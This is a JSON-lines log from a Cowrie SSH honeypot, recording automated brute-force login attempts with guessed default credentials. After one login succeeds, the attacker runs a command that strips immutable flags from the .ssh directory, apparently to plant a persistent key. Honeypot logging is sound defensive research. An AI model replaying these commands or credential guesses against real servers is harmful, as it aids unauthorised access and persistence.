{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":8348,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ed050743369","protocol":"ssh","message":"New connection: 131.161.219.137:8348 (159.203.135.109:22) [session: 8ed050743369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:17.321157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:17.325527Z","src_ip":"131.161.219.137","session":"8ed050743369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:17.453899Z","src_ip":"131.161.219.137","session":"8ed050743369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd1234","message":"login attempt [ubuntu/asd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:17.997949Z","src_ip":"131.161.219.137","session":"8ed050743369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:19.130003Z","src_ip":"131.161.219.137","session":"8ed050743369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":57488,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eb3c6bd36eb","protocol":"ssh","message":"New connection: 43.173.69.147:57488 (159.203.135.109:22) [session: 3eb3c6bd36eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:26.668566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:26.672597Z","src_ip":"43.173.69.147","session":"3eb3c6bd36eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:26.739955Z","src_ip":"43.173.69.147","session":"3eb3c6bd36eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12344321","message":"login attempt [ali/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:27.041607Z","src_ip":"43.173.69.147","session":"3eb3c6bd36eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:28.112684Z","src_ip":"43.173.69.147","session":"3eb3c6bd36eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.551666021347046,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:46:55.525298Z","src_ip":"180.235.129.180","session":"a272e3a25dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":53204,"dst_ip":"159.203.135.109","dst_port":22,"session":"c22168d2ccb8","protocol":"ssh","message":"New connection: 201.6.100.191:53204 (159.203.135.109:22) [session: c22168d2ccb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:05.180466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:05.185503Z","src_ip":"201.6.100.191","session":"c22168d2ccb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:05.322291Z","src_ip":"201.6.100.191","session":"c22168d2ccb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"newpass","message":"login attempt [user/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:05.873778Z","src_ip":"201.6.100.191","session":"c22168d2ccb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39738,"dst_ip":"10.17.0.5","dst_port":22,"session":"753c403d9071","protocol":"ssh","message":"New connection: 103.125.103.201:39738 (10.17.0.5:22) [session: 753c403d9071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:06.035823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:06.041499Z","src_ip":"103.125.103.201","session":"753c403d9071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:06.283571Z","src_ip":"103.125.103.201","session":"753c403d9071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:07.001489Z","src_ip":"201.6.100.191","session":"c22168d2ccb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":52000,"dst_ip":"159.203.135.109","dst_port":22,"session":"7af10fcb2bb5","protocol":"ssh","message":"New connection: 103.158.40.65:52000 (159.203.135.109:22) [session: 7af10fcb2bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:07.212917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:07.217910Z","src_ip":"103.158.40.65","session":"7af10fcb2bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test00","message":"login attempt [root/test00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:07.272369Z","src_ip":"103.125.103.201","session":"753c403d9071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:07.443036Z","src_ip":"103.158.40.65","session":"7af10fcb2bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":53438,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0a14274f394","protocol":"ssh","message":"New connection: 181.97.227.163:53438 (10.17.0.5:22) [session: e0a14274f394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:07.939876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:07.943643Z","src_ip":"181.97.227.163","session":"e0a14274f394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:08.152554Z","src_ip":"181.97.227.163","session":"e0a14274f394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest","message":"login attempt [root/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:08.368191Z","src_ip":"103.158.40.65","session":"7af10fcb2bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:08.516395Z","src_ip":"103.125.103.201","session":"753c403d9071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"666","message":"login attempt [ubuntu/666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:09.004776Z","src_ip":"181.97.227.163","session":"e0a14274f394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:09.592012Z","src_ip":"103.158.40.65","session":"7af10fcb2bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:10.212691Z","src_ip":"181.97.227.163","session":"e0a14274f394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":7449,"dst_ip":"159.203.135.109","dst_port":22,"session":"04e5912d0aa0","protocol":"ssh","message":"New connection: 131.161.219.137:7449 (159.203.135.109:22) [session: 04e5912d0aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:14.962965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:14.967779Z","src_ip":"131.161.219.137","session":"04e5912d0aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:15.098335Z","src_ip":"131.161.219.137","session":"04e5912d0aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"1","message":"login attempt [test1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:15.646876Z","src_ip":"131.161.219.137","session":"04e5912d0aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:16.779408Z","src_ip":"131.161.219.137","session":"04e5912d0aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":52936,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f1a534f31a","protocol":"ssh","message":"New connection: 154.81.14.172:52936 (10.17.0.5:22) [session: f4f1a534f31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:23.703417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:23.713396Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:24.801413Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admins","message":"login attempt [admin/admins] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:25.453908Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:25.936847Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:25.940388Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:25.944581Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:47:26.166339Z","src_ip":"154.81.14.172","session":"f4f1a534f31a","protocol":"ssh"}
